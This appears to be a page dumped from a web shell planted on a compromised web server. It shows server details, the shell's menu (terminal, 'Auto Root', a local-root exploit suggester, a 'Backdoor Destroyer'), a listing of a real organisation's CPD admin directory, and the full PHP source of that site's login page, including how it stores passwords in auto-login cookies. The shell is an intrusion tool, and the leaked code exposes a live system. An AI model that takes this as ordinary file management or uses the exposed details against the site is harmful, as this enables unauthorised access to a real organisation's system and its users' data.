Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
cpdadmin /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-sr-x
2025-06-24 07:20
assessordocs
[ DIR ]
drwxr-sr-x
2026-03-23 08:03
calendar
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
certificates
[ DIR ]
drwxrwsr-x
2026-08-25 10:45
ckeditor
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
images
[ DIR ]
drwxr-sr-x
2022-04-19 07:59
js
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
lang
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
providerdocs
[ DIR ]
drwxr-sr-x
2026-08-12 07:21
txt
[ DIR ]
drwxr-sr-x
2022-04-19 06:59
uploads
[ DIR ]
drwxr-sr-x
2026-08-17 12:51
yui280
[ DIR ]
drwxr-sr-x
2022-04-19 07:00
CESA_CPD.css
10.23
KB
-rw-r--r--
2022-04-19 06:59
CPDAdminUsersadd.php
28.52
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersdelete.php
20.94
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersedit.php
29.37
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersinfo.php
24.37
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUserslist.php
58.77
KB
-rw-r--r--
2022-09-15 19:16
CPDAdminUsersview.php
40.59
KB
-rw-r--r--
2022-09-15 19:16
CPDAssessors_CVFile_bv.php
6.5
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document1_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document2_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_Document3_bv.php
6.54
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_NDAFile_bv.php
6.52
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessors_QualificationFile_bv.php
6.63
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsadd.php
77.14
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsdelete.php
28.85
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsedit.php
92.45
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsinfo.php
30.15
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorslist.php
73.5
KB
-rw-r--r--
2023-04-21 10:09
CPDAssessorsview.php
69.35
KB
-rw-r--r--
2023-04-21 10:09
CPDProviderDocs_DocFile_bv.php
8.02
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsadd.php
40.38
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsdelete.php
24.9
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsedit.php
46.12
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsinfo.php
25.55
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocslist.php
84.13
KB
-rw-r--r--
2023-02-27 12:50
CPDProviderDocsview.php
56.09
KB
-rw-r--r--
2023-02-27 12:50
CPDSPReview_ReviewChecklist_bv.php
6.74
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReview_ReviewFile1_bv.php
6.69
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReview_ReviewFile2_bv.php
6.69
KB
-rw-r--r--
2023-03-08 11:27
CPDSPReviewadd.php
54.32
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewdelete.php
25.1
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewedit.php
64.65
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewinfo.php
28.05
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewlist.php
69.12
KB
-rw-r--r--
2023-03-08 12:02
CPDSPReviewview.php
51.23
KB
-rw-r--r--
2023-03-08 12:02
CPDServiceProvider_AccountabilityStructure_bv.php
7.13
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_CPDActivities_bv.php
7.02
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_EvaluatorInvoice_bv.php
7.34
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_EvaluatorTimesheet_bv.php
7.36
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_InvoiceFile_bv.php
7.28
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_LearnerAssessProcedure_bv.php
7.12
KB
-rw-r--r--
2024-12-10 09:46
CPDServiceProvider_OtherVACPDSPNumberCertificate_bv.php
7.49
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_PrevSPNumberCertificate_bv.php
7.42
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvider_ProofOfPayment_bv.php
7.31
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProvideradd.php
219.49
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderdelete.php
60.68
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProvideredit.php
244.46
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderinfo.php
51.93
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProviderlist.php
204.5
KB
-rw-r--r--
2025-04-16 15:56
CPDServiceProvidermaster.php
7.74
KB
-rw-r--r--
2025-03-30 11:38
CPDServiceProviderview.php
166.72
KB
-rw-r--r--
2025-04-16 15:56
CPDStepsTakenTMadd.php
33.05
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMdelete.php
24.02
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMedit.php
39.11
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMinfo.php
26.47
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMlist.php
67.53
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenTMview.php
42.7
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenadd.php
27.91
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakendelete.php
21.87
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenedit.php
34
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakeninfo.php
24.84
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenlist.php
102.44
KB
-rw-r--r--
2022-09-15 19:16
CPDStepsTakenview.php
39.89
KB
-rw-r--r--
2022-09-15 21:50
CPDTMReviewadd.php
68.75
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewdelete.php
30.53
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewedit.php
68.14
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewinfo.php
30.75
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewlist.php
76.95
KB
-rw-r--r--
2022-09-15 19:16
CPDTMReviewview.php
58.41
KB
-rw-r--r--
2022-09-15 19:16
CPDTrainingMaterial_ActivityProgramme_bv.php
6.92
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_AssessmentDoc_bv.php
6.87
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_CourseBrochure_bv.php
6.88
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_EvaluatorInvoice_bv.php
6.91
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_EvaluatorTimesheet_bv.php
6.93
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_FeedbackForm_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_InvoiceFile_bv.php
6.85
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_LearningOutcomesFile_bv.php
6.95
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter1CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter1IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter1SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_Presenter2CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter2IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter2SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_Presenter3CV_bv.php
6.86
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterial_Presenter3IDDoc_bv.php
6.9
KB
-rw-r--r--
2025-01-14 11:59
CPDTrainingMaterial_Presenter3SLA_bv.php
6.87
KB
-rw-r--r--
2025-01-14 12:31
CPDTrainingMaterial_ProofOfPayment_bv.php
6.88
KB
-rw-r--r--
2023-08-24 13:47
CPDTrainingMaterialadd.php
312.71
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialdelete.php
69.75
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialedit.php
367.27
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialinfo.php
61.66
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMateriallist.php
220.65
KB
-rw-r--r--
2025-05-20 07:41
CPDTrainingMaterialmaster.php
5.84
KB
-rw-r--r--
2024-09-18 11:13
CPDTrainingMaterialview.php
222.22
KB
-rw-r--r--
2025-05-20 07:41
SpryMenuBarHorizontal.css
5.52
KB
-rw-r--r--
2022-04-19 06:59
SpryMenuBarVertical.css
4.52
KB
-rw-r--r--
2022-04-19 06:59
changepwd.php
10.52
KB
-rw-r--r--
2023-02-11 10:44
cstReviewProgressinfo.php
21.94
KB
-rw-r--r--
2022-09-15 19:16
cstReviewProgresslist.php
65.64
KB
-rw-r--r--
2022-09-15 19:16
echasl23add.php
29.32
KB
-rw-r--r--
2022-09-15 21:50
echasl23delete.php
21.56
KB
-rw-r--r--
2022-09-15 21:50
echasl23edit.php
31.02
KB
-rw-r--r--
2022-09-15 21:50
echasl23info.php
24.92
KB
-rw-r--r--
2022-09-15 21:50
echasl23list.php
70.56
KB
-rw-r--r--
2022-09-15 21:50
echasl23srch.php
32.07
KB
-rw-r--r--
2022-09-15 21:50
echasl23view.php
39.44
KB
-rw-r--r--
2022-09-15 21:50
ewbv7.php
1.88
KB
-rw-r--r--
2022-04-19 06:59
ewcfg7.php
68.37
KB
-rw-r--r--
2026-08-24 10:13
ewemail7.php
1.87
KB
-rw-r--r--
2022-04-19 06:59
ewlookup7.php
2.8
KB
-rw-r--r--
2022-04-19 06:59
ewmenu.php
2.14
KB
-rw-r--r--
2024-09-18 11:13
ewmysql7.php
29.43
KB
-rw-r--r--
2026-08-20 18:36
ewshared7.php
26.13
KB
-rw-r--r--
2023-03-08 11:59
footer.php
2.48
KB
-rw-r--r--
2025-06-24 07:24
forgotpwd.php
13.11
KB
-rw-r--r--
2023-02-11 10:44
genspcertificate.php
2.74
KB
-rw-r--r--
2025-07-14 12:09
gentmcertificate.php
4.46
KB
-rw-r--r--
2025-09-12 09:17
header.php
5.62
KB
-rw-r--r--
2022-04-19 08:00
inc_functions.php
15.82
KB
-rw-r--r--
2026-08-14 12:06
index.php
6.01
KB
-rw-r--r--
2023-02-11 10:44
login.php
18.09
KB
-rw-r--r--
2023-02-11 10:44
logout.php
6.14
KB
-rw-r--r--
2023-03-10 10:31
php_errors.log
36.69
KB
-rw-r--r--
2026-08-20 18:36
phpfn7.php
142.58
KB
-rw-r--r--
2026-08-24 10:13
userfn7.php
355
B
-rw-r--r--
2023-02-10 11:50
userlevelpermissionsadd.php
27.07
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsdelete.php
19.54
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsedit.php
26.11
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsinfo.php
21.32
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionslist.php
67.92
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionssrch.php
21.52
KB
-rw-r--r--
2022-09-15 19:16
userlevelpermissionsview.php
36.58
KB
-rw-r--r--
2022-09-15 19:16
userlevelsadd.php
24.5
KB
-rw-r--r--
2022-09-15 19:16
userlevelsdelete.php
16.89
KB
-rw-r--r--
2022-09-15 19:16
userlevelsedit.php
20.2
KB
-rw-r--r--
2022-09-15 19:16
userlevelsinfo.php
18.72
KB
-rw-r--r--
2022-09-15 19:16
userlevelslist.php
58.24
KB
-rw-r--r--
2022-09-15 19:16
userlevelsmaster.php
1.69
KB
-rw-r--r--
2022-09-15 19:16
userlevelssrch.php
17.79
KB
-rw-r--r--
2022-09-15 19:16
userlevelsview.php
32.56
KB
-rw-r--r--
2022-09-15 19:16
userpriv.php
14.51
KB
-rw-r--r--
2023-02-11 10:44
vwCPD_SPExpiredNotRenewedinfo.php
49.76
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPExpiredNotRenewedlist.php
129.54
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPExpiredNotRenewedmaster.php
10.96
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestinfo.php
53.45
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestlist.php
130.76
KB
-rw-r--r--
2024-09-18 11:03
vwCPD_SPLatestmaster.php
14.99
KB
-rw-r--r--
2024-09-18 11:03
xenon.css
0
B
-rw-r--r--
2025-06-24 07:25
Save
Rename
<?php session_start(); // Initialize Session data ob_start(); // Turn on output buffering ?> <?php include "ewcfg7.php" ?> <?php include "ewmysql7.php" ?> <?php include "phpfn7.php" ?> <?php include "CPDAdminUsersinfo.php" ?> <?php include "userfn7.php" ?> <?php header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); // Always modified header("Cache-Control: private, no-store, no-cache, must-revalidate"); // HTTP/1.1 header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); // HTTP/1.0 ?> <?php // Create page object $login = new clogin(); $Page = & $login; // Page init $login->Page_Init(); // Page main $login->Page_Main(); ?> <?php include "header.php" ?> <script language="JavaScript" type="text/javascript"> <!-- // Write your client script here, no need to add script tags. // To include another .js script, use: // ew_ClientScriptInclude("my_javascript.js"); //--> </script> <script type="text/javascript"> <!-- var login = new ew_Page("login"); // extend page with ValidateForm function login.ValidateForm = function (fobj) { if (!this.ValidateRequired) return true; // ignore validation if (!ew_HasValue(fobj.username)) return ew_OnError(this, fobj.username, ewLanguage.Phrase("EnterUid")); if (!ew_HasValue(fobj.password)) return ew_OnError(this, fobj.password, ewLanguage.Phrase("EnterPwd")); // Call Form Custom Validate event if (!this.Form_CustomValidate(fobj)) return false; return true; } // extend page with Form_CustomValidate function login.Form_CustomValidate = function (fobj) { // DO NOT CHANGE THIS LINE! // Your custom validation code here, return false if invalid. return true; } // requires js validation <?php if (EW_CLIENT_VALIDATE) { ?> login.ValidateRequired = true; <?php } else { ?> login.ValidateRequired = false; <?php } ?> //--> </script> <p><span class="phpmaker"><?php echo $Language->Phrase("LoginPage") ?></span></p> <?php if (EW_DEBUG_ENABLED) echo ew_DebugMsg(); $login->ShowMessage(); ?> <form action="<?php echo ew_CurrentPage() ?>" method="post" onsubmit="return login.ValidateForm(this);"> <table border="0" cellspacing="0" cellpadding="4"> <tr> <td><span class="phpmaker"><?php echo $Language->Phrase("Username") ?></span></td> <td><span class="phpmaker"><input type="text" name="username" id="username" size="20" value="<?php echo $login->Username ?>"></span></td> </tr> <tr> <td><span class="phpmaker"><?php echo $Language->Phrase("Password") ?></span></td> <td><span class="phpmaker"><input type="password" name="password" id="password" size="20"></span></td> </tr> <tr> <td> </td> <td><span class="phpmaker"> <label><input type="radio" name="rememberme" id="rememberme" value="a"<?php if ($login->LoginType == "a") { ?> checked="checked"<?php } ?>><?php echo $Language->Phrase("AutoLogin") ?></label><br> <label><input type="radio" name="rememberme" id="rememberme" value="u"<?php if ($login->LoginType == "u") { ?> checked="checked"<?php } ?>><?php echo $Language->Phrase("SaveUserName") ?></label><br> <label><input type="radio" name="rememberme" id="rememberme" value=""<?php if ($login->LoginType == "") { ?> checked="checked"<?php } ?>><?php echo $Language->Phrase("AlwaysAsk") ?></label> </span></td> </tr> <tr> <td colspan="2" align="center"><span class="phpmaker"><input type="submit" name="submit" id="submit" value="<?php echo ew_BtnCaption($Language->Phrase("Login")) ?>"></span></td> </tr> </table> </form> <br> <p><span class="phpmaker"> <a href="forgotpwd.php"><?php echo $Language->Phrase("ForgotPwd") ?></a> </span></p> <script language="JavaScript" type="text/javascript"> <!-- // Write your startup script here // document.write("page loaded"); //--> </script> <?php include "footer.php" ?> <?php $login->Page_Terminate(); ?> <?php // // Page class // class clogin { // Page ID var $PageID = 'login'; // Page object name var $PageObjName = 'login'; // Page name function PageName() { return ew_CurrentPage(); } // Page URL function PageUrl() { $PageUrl = ew_CurrentPage() . "?"; return $PageUrl; } // Page URLs var $AddUrl; var $EditUrl; var $CopyUrl; var $DeleteUrl; var $ViewUrl; var $ListUrl; // Export URLs var $ExportPrintUrl; var $ExportHtmlUrl; var $ExportExcelUrl; var $ExportWordUrl; var $ExportXmlUrl; var $ExportCsvUrl; // Update URLs var $InlineAddUrl; var $InlineCopyUrl; var $InlineEditUrl; var $GridAddUrl; var $GridEditUrl; var $MultiDeleteUrl; var $MultiUpdateUrl; // Message function getMessage() { return @$_SESSION[EW_SESSION_MESSAGE]; } function setMessage($v) { if (@$_SESSION[EW_SESSION_MESSAGE] <> "") { // Append $_SESSION[EW_SESSION_MESSAGE] .= "<br>" . $v; } else { $_SESSION[EW_SESSION_MESSAGE] = $v; } } // Show message function ShowMessage() { $sMessage = $this->getMessage(); $this->Message_Showing($sMessage); if ($sMessage <> "") { // Message in Session, display echo "<p><span class=\"ewMessage\">" . $sMessage . "</span></p>"; $_SESSION[EW_SESSION_MESSAGE] = ""; // Clear message in Session } } // Validate page request function IsPageRequest() { return TRUE; } // // Page class constructor // function __construct() { global $conn, $Language; // Language object $Language = new cLanguage(); // Table object (CPDAdminUsers) $GLOBALS["CPDAdminUsers"] = new cCPDAdminUsers(); // Page ID if (!defined("EW_PAGE_ID")) define("EW_PAGE_ID", 'login', TRUE); // Start timer $GLOBALS["gsTimer"] = new cTimer(); // Open connection $conn = ew_Connect(); } // // Page_Init // function Page_Init() { global $gsExport, $gsExportFile, $UserProfile, $Language, $Security, $objForm; global $CPDAdminUsers; // User profile $UserProfile = new cUserProfile(); // Security $Security = new cAdvancedSecurity(); // Global Page Loading event (in userfn*.php) Page_Loading(); // Page Load event $this->Page_Load(); } // // Page_Terminate // function Page_Terminate($url = "") { global $conn; // Page Unload event $this->Page_Unload(); // Global Page Unloaded event (in userfn*.php) Page_Unloaded(); // Close connection $conn->Close(); // Go to URL if specified $this->Page_Redirecting($url); if ($url <> "") { if (!EW_DEBUG_ENABLED && ob_get_length()) ob_end_clean(); header("Location: " . $url); } exit(); } var $Username; var $LoginType; // // Page main // function Page_Main() { global $Security, $Language, $UserProfile, $gsFormError; $sPassword = ""; $sLastUrl = $Security->LastUrl(); // Get last URL if ($sLastUrl == "") $sLastUrl = "index.php"; if (IsLoggingIn()) { $this->Username = @$_SESSION[EW_SESSION_USER_PROFILE_USER_NAME]; $sPassword = @$_SESSION[EW_SESSION_USER_PROFILE_PASSWORD]; $this->LoginType = @$_SESSION[EW_SESSION_USER_PROFILE_LOGIN_TYPE]; $bValidPwd = $Security->ValidateUser($this->Username, $sPassword, FALSE); if ($bValidPwd) { $_SESSION[EW_SESSION_USER_PROFILE_USER_NAME] = ""; $_SESSION[EW_SESSION_USER_PROFILE_PASSWORD] = ""; $_SESSION[EW_SESSION_USER_PROFILE_LOGIN_TYPE] = ""; } } else { if (!$Security->IsLoggedIn()) $Security->AutoLogin(); if (@$_POST["username"] <> "") { // Setup variables $this->Username = ew_StripSlashes(@$_POST["username"]); $sPassword = ew_StripSlashes(@$_POST["password"]); $this->LoginType = strtolower(@$_POST["rememberme"]); $bValidate = $this->ValidateForm($this->Username, $sPassword); if (!$bValidate) $this->setMessage($gsFormError); $_SESSION[EW_SESSION_USER_PROFILE_USER_NAME] = $this->Username; // Save login user name $_SESSION[EW_SESSION_USER_PROFILE_LOGIN_TYPE] = $this->LoginType; // Save login type // Max login attempt checking if ($UserProfile->LoadProfileFromDatabase($this->Username)) { if ($UserProfile->ExceedLoginRetry()) { $bValidate = FALSE; $this->setMessage(str_replace("%t", EW_USER_PROFILE_RETRY_LOCKOUT, $Language->Phrase("ExceedMaxRetry"))); } $UserProfile->SaveProfileToDatabase($this->Username); } } else { if ($Security->IsLoggedIn()) { if ($this->getMessage() == "") $this->Page_Terminate($sLastUrl); // Return to last accessed page } $bValidate = FALSE; // Restore settings if (@$_COOKIE[EW_PROJECT_NAME]['Checksum'] == strval(crc32(md5(EW_RANDOM_KEY)))) $this->Username = TEAdecrypt(@$_COOKIE[EW_PROJECT_NAME]['Username'], EW_RANDOM_KEY); if (@$_COOKIE[EW_PROJECT_NAME]['AutoLogin'] == "autologin") { $this->LoginType = "a"; } elseif (@$_COOKIE[EW_PROJECT_NAME]['AutoLogin'] == "rememberusername") { $this->LoginType = "u"; } else { $this->LoginType = ""; } } $bValidPwd = FALSE; if ($bValidate) { // Call Logging In event $bValidate = $this->User_LoggingIn($this->Username, $sPassword); if ($bValidate) { $bValidPwd = $Security->ValidateUser($this->Username, $sPassword, FALSE); // Manual login if (!$bValidPwd) { // Password expired, force change password if (IsPasswordExpired()) { $this->setMessage($Language->Phrase("PasswordExpired")); $this->Page_Terminate("changepwd.php"); } if ($this->getMessage() == "") $this->setMessage($Language->Phrase("InvalidUidPwd")); // Invalid user id/password // Password changed date not initialized, set as today } elseif ($UserProfile->EmptyPasswordChangedDate()) { if ($UserProfile->LoadProfileFromDatabase($this->Username)) { $UserProfile->SetValue(EW_USER_PROFILE_LAST_PASSWORD_CHANGED_DATE, ew_StdCurrentDate()); $UserProfile->SaveProfileToDatabase($this->Username); $_SESSION[EW_SESSION_USER_PROFILE] = $UserProfile->ProfileToString(); // Save to session also } } } else { if ($this->getMessage() == "") $this->setMessage($Language->Phrase("LoginCancelled")); // Login cancelled } } } if ($bValidPwd) { // Write cookies if ($this->LoginType == "a") { // Auto login setcookie(EW_PROJECT_NAME . '[AutoLogin]', "autologin", EW_COOKIE_EXPIRY_TIME); // Set autologin cookie setcookie(EW_PROJECT_NAME . '[Username]', TEAencrypt($this->Username, EW_RANDOM_KEY), EW_COOKIE_EXPIRY_TIME); // Set user name cookie setcookie(EW_PROJECT_NAME . '[Password]', TEAencrypt($sPassword, EW_RANDOM_KEY), EW_COOKIE_EXPIRY_TIME); // Set password cookie setcookie(EW_PROJECT_NAME . '[Checksum]', crc32(md5(EW_RANDOM_KEY)), EW_COOKIE_EXPIRY_TIME); } elseif ($this->LoginType == "u") { // Remember user name setcookie(EW_PROJECT_NAME . '[AutoLogin]', "rememberusername", EW_COOKIE_EXPIRY_TIME); // Set remember user name cookie setcookie(EW_PROJECT_NAME . '[Username]', TEAencrypt($this->Username, EW_RANDOM_KEY), EW_COOKIE_EXPIRY_TIME); // Set user name cookie setcookie(EW_PROJECT_NAME . '[Checksum]', crc32(md5(EW_RANDOM_KEY)), EW_COOKIE_EXPIRY_TIME); } else { setcookie(EW_PROJECT_NAME . '[AutoLogin]', "", EW_COOKIE_EXPIRY_TIME); // Clear auto login cookie } // Call loggedin event $this->User_LoggedIn($this->Username); ew_WriteAuditTrailOnLogInOut($this->Username, $Language->Phrase("AuditTrailLogin")); $this->Page_Terminate($sLastUrl); // Return to last accessed URL } elseif ($this->Username <> "" && $sPassword <> "") { // Call user login error event $this->User_LoginError($this->Username, $sPassword); } } // // Validate form // function ValidateForm($usr, $pwd) { global $Language, $gsFormError; // Initialize form error message $gsFormError = ""; // Check if validation required if (!EW_SERVER_VALIDATE) return TRUE; if (trim($usr) == "") { $gsFormError .= ($gsFormError <> "") ? "<br>" : ""; $gsFormError .= $Language->Phrase("EnterUid"); } if (trim($pwd) == "") { $gsFormError .= ($gsFormError <> "") ? "<br>" : ""; $gsFormError .= $Language->Phrase("EnterPwd"); } // Return validate result $ValidateForm = ($gsFormError == ""); // Call Form Custom Validate event $sFormCustomError = ""; $ValidateForm = $ValidateForm && $this->Form_CustomValidate($sFormCustomError); if ($sFormCustomError <> "") { $gsFormError .= ($gsFormError <> "") ? "<br>" : ""; $gsFormError .= $sFormCustomError; } return $ValidateForm; } // Page Load event function Page_Load() { //echo "Page Load"; } // Page Unload event function Page_Unload() { //echo "Page Unload"; } // Page Redirecting event function Page_Redirecting(&$url) { // Example: //$url = "your URL"; // $url = "http://www.cesa.co.za/admin/".basename($url); } // Message Showing event function Message_Showing(&$msg) { // Example: //$msg = "your new message"; } // User Logging In event function User_LoggingIn($usr, &$pwd) { // Enter your code here // To cancel, set return value to FALSE // $pwd = md5($pwd); return TRUE; } // User Logged In event function User_LoggedIn($usr) { //echo "User Logged In"; } // User Login Error event function User_LoginError($usr, $pwd) { //echo "User Login Error"; } // Form Custom Validate event function Form_CustomValidate(&$CustomError) { // Return error message in CustomError return TRUE; } } ?>